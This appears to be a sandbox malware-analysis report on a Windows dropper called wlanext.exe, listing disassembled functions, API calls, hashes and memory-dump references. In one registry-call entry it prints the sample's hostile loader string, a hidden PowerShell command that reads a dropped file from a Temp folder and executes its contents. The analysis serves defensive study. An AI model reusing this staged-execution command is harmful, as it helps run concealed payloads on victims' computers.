Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9112cbabc6f4a79aea4e3429d0b79d6c933dfda102b28fdb5082a60d62602a4e
Instruction ID: c7cee2028620334147dbeeecb81edbae78790ee6bd2d36d3aed28758d5738f0f
Opcode Fuzzy Hash: 9112cbabc6f4a79aea4e3429d0b79d6c933dfda102b28fdb5082a60d62602a4e
Instruction Fuzzy Hash: CF813471E00228DBDF24CFA8C844BADBBB1FF44305F25816AD856BB291D7389996DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00406393 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db9708fb04e2e0ecb222d306fe81c02053fdbbf4ae968347cebcb7f9112ce6f9
Instruction ID: 57d0a4a62e73b261e138738b2685f27b9a830e1577229771e06a9dcc4a08ef7a
Opcode Fuzzy Hash: db9708fb04e2e0ecb222d306fe81c02053fdbbf4ae968347cebcb7f9112ce6f9
Instruction Fuzzy Hash: DC816771E04228DBDF24CFA8C844BADBBB1FF44315F11816AD856BB280C7786996DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004067E1 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51b9571c4f2cef3f00a150e7480631ebf45f04a25ed8f4987f17413b8e50dd21
Instruction ID: 7a0e56a60353855b6858f4e45cba095cd8fb81da81d2b3e1620468e36a0fecf5
Opcode Fuzzy Hash: 51b9571c4f2cef3f00a150e7480631ebf45f04a25ed8f4987f17413b8e50dd21
Instruction Fuzzy Hash: E2710371E00228DBDF28CFA8C844BADBBB1FF44305F15806AD856BB291D7389996DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004068FF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd56666480845857346ca32992c88f0ff24d6c501f81c377169dfb98ddf17ec5
Instruction ID: 640397e2d056f1a05ee02a3664d9fcc147c5dfb75bdb54ac859d1c8af1b059c5
Opcode Fuzzy Hash: cd56666480845857346ca32992c88f0ff24d6c501f81c377169dfb98ddf17ec5
Instruction Fuzzy Hash: 7F712471E00228DBDF28CF98C844BADBBB1FF44305F15806AD856BB291C7789996DF48

Uniqueness

Uniqueness Score: -1.00%

Function 0040684B Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6ae2104ab0ec81b4e73fa48072ed289b5e7c7f1ead31899d3077504e5afad2
Instruction ID: 45e0d9c6199636d87fa33ccb5d6651f7628d4ee42d5e4054af8bad143df77737
Opcode Fuzzy Hash: 5b6ae2104ab0ec81b4e73fa48072ed289b5e7c7f1ead31899d3077504e5afad2
Instruction Fuzzy Hash: D1714771E00228DBDF28CF98C844BADBBB1FF44305F15806AD956BB291C778AA56DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004030F8 Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040310C

Part of subcall function 00403277: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402F75,?), ref: 00403285

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403022,00000004,00000000,00000000,?,?,00402F9C,000000FF,00000000,00000000,00409130,?), ref: 0040313F
SetFilePointer.KERNELBASE(002F1600,00000000,00000000,004128D8,00004000,?,00000000,00403022,00000004,00000000,00000000,?,?,00402F9C,000000FF,00000000), ref: 0040323A

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: a36c4bf57cb6e858ef063313d681270ada8638ec8a77c6c3e08efa629b838403
Instruction ID: b8bc3f79dcbb40427391aad23e9a2a3a4e055ade3e5059820f7b6748c1a5a64e
Opcode Fuzzy Hash: a36c4bf57cb6e858ef063313d681270ada8638ec8a77c6c3e08efa629b838403
Instruction Fuzzy Hash: 3131A2B29042109BDB10BF29EE8086A3BECF754756715823FE501B22E0C738DD52DB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00405DDE Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,00406023,00000000,00000002,?,00000002,?,?,00406023,80000002,Software\Microsoft\Windows\CurrentVersion,?,004226C0,?), ref: 00405E07
RegQueryValueExA.ADVAPI32(?,?,00000000,00406023,?,00406023), ref: 00405E28
RegCloseKey.ADVAPI32(?), ref: 00405E49

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
Instruction ID: a5bfd4e994019c5e115080bbecddc2f5f1976c63067f757e38b3d402cdd28771
Opcode Fuzzy Hash: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
Instruction Fuzzy Hash: 5F014C7154020AEFDB118F64DD48EDB3FACEF14354B004036FA4596220D235DA64CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00403785 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user\AppData\Local\Temp\,004035BC,?), ref: 00403797
CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user\AppData\Local\Temp\,004035BC,?), ref: 004037AB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040378A

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2962429428-3081826266
Opcode ID: 8243f35e0eeb5762c06f3a20855541ba65908ed27c56bedd9f13c791d511c691
Instruction ID: 4fe8f3727f95cb8dfcfe97d6293448c3a92072a7c91c92fe8e25374afea9a46a
Opcode Fuzzy Hash: 8243f35e0eeb5762c06f3a20855541ba65908ed27c56bedd9f13c791d511c691
Instruction Fuzzy Hash: E6E08CB0900620DAC524AF7CBD859463B289B41335760C726F578F30F2C338AE875AAC

Uniqueness

Uniqueness Score: -1.00%

Function 00401E59 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(?,00000000,00000000,00000000,C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne,?), ref: 00401E9F

Strings

C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne, xrefs: 00401E8A

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne
API String ID: 587946157-761541495
Opcode ID: d03db22bd20e1a8945fe48b8c673186d2cd6f237ce633787b21414ef3e004efe
Instruction ID: 7c51c884e7587c3efeb31cb3e5c9943a81f4090218bfe93557c80408bc49aec8
Opcode Fuzzy Hash: d03db22bd20e1a8945fe48b8c673186d2cd6f237ce633787b21414ef3e004efe
Instruction Fuzzy Hash: 58F0F671B14104BADB21ABB59F4AE6D2AA5DB81318F38043BF050F71C2D9FD8942DB28

Uniqueness

Uniqueness Score: -1.00%

Function 00402FF0 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00409130,00000000,00000000,00000000,00000000,?,?,00402F9C,000000FF,00000000,00000000,00409130,?), ref: 00403015

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: cec1ef41ae4fe1eb49ce401649ee5fe80a2c8269a6a73aa39189435ed7a8d4cb
Instruction ID: 0c39837240ac6e21a4d945e0ab2cbfd2cf40700f690e74d620895d0cf024726c
Opcode Fuzzy Hash: cec1ef41ae4fe1eb49ce401649ee5fe80a2c8269a6a73aa39189435ed7a8d4cb
Instruction Fuzzy Hash: 83316D30202219FFDB109F56EC85A9A3AACEB00355F20C53AF905E6195D339DE40EBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00402483 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402C00

RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 004024B3
RegCloseKey.ADVAPI32(?,?,?, -windowstyle minimized $fe32 = Get-Content 'C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos' ; powershell.Exe "$fe32",00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: a6b395f8f0a4c251418fd0a7777158a3201ad94d42e7a86da984708d0ef7ddf1
Instruction ID: 85d806923b24475f53c36965a20abc0d18f92dd5d526b72c5aa3047674b5102d
Opcode Fuzzy Hash: a6b395f8f0a4c251418fd0a7777158a3201ad94d42e7a86da984708d0ef7ddf1
Instruction Fuzzy Hash: 7611C171A04205FFDB20CF60CA985AEBBB4AF00359F20443FE142B72C0D2B84A85DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 6f3fd260d9a20665192313664cef065be83871c58b0681ff97f62226ed226405
Instruction ID: 8ec6bfb8ef4f3ff43576048fe9568e939b5e998f238dec90285f5c94a9fc96e2
Opcode Fuzzy Hash: 6f3fd260d9a20665192313664cef065be83871c58b0681ff97f62226ed226405
Instruction Fuzzy Hash: 2201F431B24210ABE7294B389E04B6A36A8F710314F11823BF911F66F1D7B8DC029B4D

Uniqueness

Uniqueness Score: -1.00%

Function 004051E2 Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 004051F2

Part of subcall function 00404128: SendMessageA.USER32(00040460,00000000,00000000,00000000), ref: 0040413A

OleUninitialize.OLE32(00000404,00000000), ref: 0040523E

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: a1e759c3ba7025077e10085eb26d18bfe45318352d138b018d477bc6a8fcf70b
Instruction ID: 4dcb8af97a20ed241ae8eedce5b07c0b96d5eee4db2d9d808ae6f2cb7c6a5257
Opcode Fuzzy Hash: a1e759c3ba7025077e10085eb26d18bfe45318352d138b018d477bc6a8fcf70b
Instruction Fuzzy Hash: 8AF0F0FAA00201BADB502B04A904B1A73B0DFD0702F4184BEFF04B22A0823E58428E5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040156F Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00010474), ref: 00401581
ShowWindow.USER32(0001046E), ref: 00401596

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: cbf864d01ac8c0f3267daad7ff7c77469f0fbf3b6480edfc8561842ae07ddff6
Instruction ID: 1fba713723e617fd63a9d4476e2d2033a2576266d828a69d52802257caf8ad67
Opcode Fuzzy Hash: cbf864d01ac8c0f3267daad7ff7c77469f0fbf3b6480edfc8561842ae07ddff6
Instruction Fuzzy Hash: 42E086B6B00115BBCB24DF64EE9087E77B6E784320750043FD502B3290C2B69D429B58

Uniqueness

Uniqueness Score: -1.00%

Function 00406290 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403329,00000009), ref: 004062A2
GetProcAddress.KERNEL32(00000000,?), ref: 004062BD

Part of subcall function 00406222: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406239
Part of subcall function 00406222: wsprintfA.USER32 ref: 00406272
Part of subcall function 00406222: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406286

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 3d400e748f947671e30b9badb510484ff95b6787d133025eb2c4a7967b05848e
Instruction ID: 9986063a3a3a914c3c9c85809e338cef1f66889ba2e3f6f8a6abe9a53671474f
Opcode Fuzzy Hash: 3d400e748f947671e30b9badb510484ff95b6787d133025eb2c4a7967b05848e
Instruction Fuzzy Hash: BAE0CD32A08111B7D650B7705D0497773AC9FC475030208BEF907F2185E738EC319769

Uniqueness

Uniqueness Score: -1.00%

Function 00405B6A Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402D8D,C:\Users\user\Desktop\a\wlanext.exe,80000000,00000003), ref: 00405B6E
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B90

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

